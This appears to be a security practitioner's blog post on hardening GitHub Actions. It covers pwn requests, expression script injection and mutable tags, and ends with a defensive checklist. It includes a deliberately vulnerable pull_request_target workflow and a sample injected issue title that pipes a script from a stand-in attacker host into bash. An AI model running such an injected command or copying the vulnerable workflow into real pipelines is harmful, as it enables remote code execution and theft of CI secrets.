Your CI runner is a production server
pull_request_target, script injection and mutable tags — why GitHub Actions is one of the most under-tested attack surfaces in a modern codebase, and the hardening checklist I apply to every repo.
When I scope a VAPT engagement, the client's web app and APIs are always in scope. Their CI/CD pipeline almost never is. That's backwards: a build runner holds deploy keys, cloud credentials and package-publishing tokens, and it executes code from places you don't fully control. It is a production server with a very strange threat model.
This post walks through the three GitHub Actions patterns I look for first, why each one is exploitable, and how I fix them as a developer.
1. The "pwn request": pull_request_target + checkout
GitHub has two triggers for pull-request events:
pull_requestruns in the context of the fork — no secrets, a read-onlyGITHUB_TOKEN.pull_request_targetruns in the context of the base repository — with secrets and a token that can write.
pull_request_target exists so maintainers can do things like label PRs or post comments from forks. On its own it's safe, because it runs the workflow file from the base branch. The danger appears when the workflow then checks out and executes the untrusted PR code:
on: pull_request_target
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }} # attacker's code
- run: npm install && npm test # attacker's code runs with secrets
Anyone can open a PR whose package.json has a postinstall script or a modified test file. That code now runs with repository secrets in the environment. GitHub Security Lab named this the "pwn request" pattern.
Fix: use pull_request for anything that builds or tests contributed code. If you genuinely need privileges (e.g. to comment results), split it: an unprivileged pull_request workflow produces an artifact, and a separate workflow_run workflow consumes it — treating the artifact as untrusted data, never executing it.
2. Script injection through ${{ }} expressions
GitHub expressions are expanded before the shell runs. So this:
- run: echo "Triaging issue: ${{ github.event.issue.title }}"
becomes a shell command containing whatever the issue author typed. A title like a"; curl -sSfL https://evil.example/x.sh | bash; echo " is command injection on your runner. The same applies to PR titles and bodies, branch names, commit messages and review comments — all attacker-controlled.
Fix: never interpolate untrusted context directly into run:. Pass it through an environment variable, which the shell treats as data:
- env:
TITLE: ${{ github.event.issue.title }}
run: echo "Triaging issue: $TITLE"
Static analysers such as actionlint and CodeQL's Actions queries flag this pattern; I run them in CI so the pipeline audits itself.
3. Mutable tags: the tj-actions incident
uses: some/action@v4 looks pinned, but a Git tag is just a movable pointer. In March 2025 the popular tj-actions/changed-files action was compromised: the attacker re-pointed existing version tags to a malicious commit that dumped secrets from the runner's memory into the workflow logs. It was tracked as CVE-2025-30066, and because public repositories expose build logs, anyone could read the leaked credentials. Reporting at the time linked it to an earlier compromise of reviewdog/action-setup — a supply-chain attack feeding another supply-chain attack.
Every repo that referenced the action by tag picked up the malicious code automatically. Repos that pinned to a full commit SHA did not.
Fix:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
Pin third-party actions to a full 40-character SHA and let Dependabot or Renovate propose updates as reviewable PRs.
My hardening checklist
When I review (or build) a pipeline, this is the baseline:
- Least-privilege token — set
permissions: contents: readat the top of every workflow and grant more per job only when needed. - No untrusted checkout under
pull_request_target. Ever. - No
${{ github.event.* }}insiderun:— useenv:. - SHA-pin third-party actions; prefer actions from verified publishers.
- Short-lived cloud credentials via OIDC (
id-token: write+ a cloud trust policy scoped to repo and branch) instead of long-lived keys in secrets. - Protect environments — require reviewers for the
productionenvironment so a compromised branch can't deploy. - Treat logs as public for public repos; never
echoanything sensitive, and mask dynamic secrets with::add-mask::. - Audit
workflow_runand artifact consumers — artifacts from forks are untrusted input.
The takeaway
From the attacker's side, CI is attractive because it concentrates credentials and is rarely monitored. From the developer's side, the fixes are cheap and mostly declarative. If you only do two things this week: add a top-level permissions: block to every workflow, and pin your actions to SHAs.
References
- GitHub Security Lab — Keeping your GitHub Actions and workflows secure: Preventing pwn requests
- GitHub Docs — Security hardening for GitHub Actions
- Wiz Research — tj-actions/changed-files supply chain attack (CVE-2025-30066)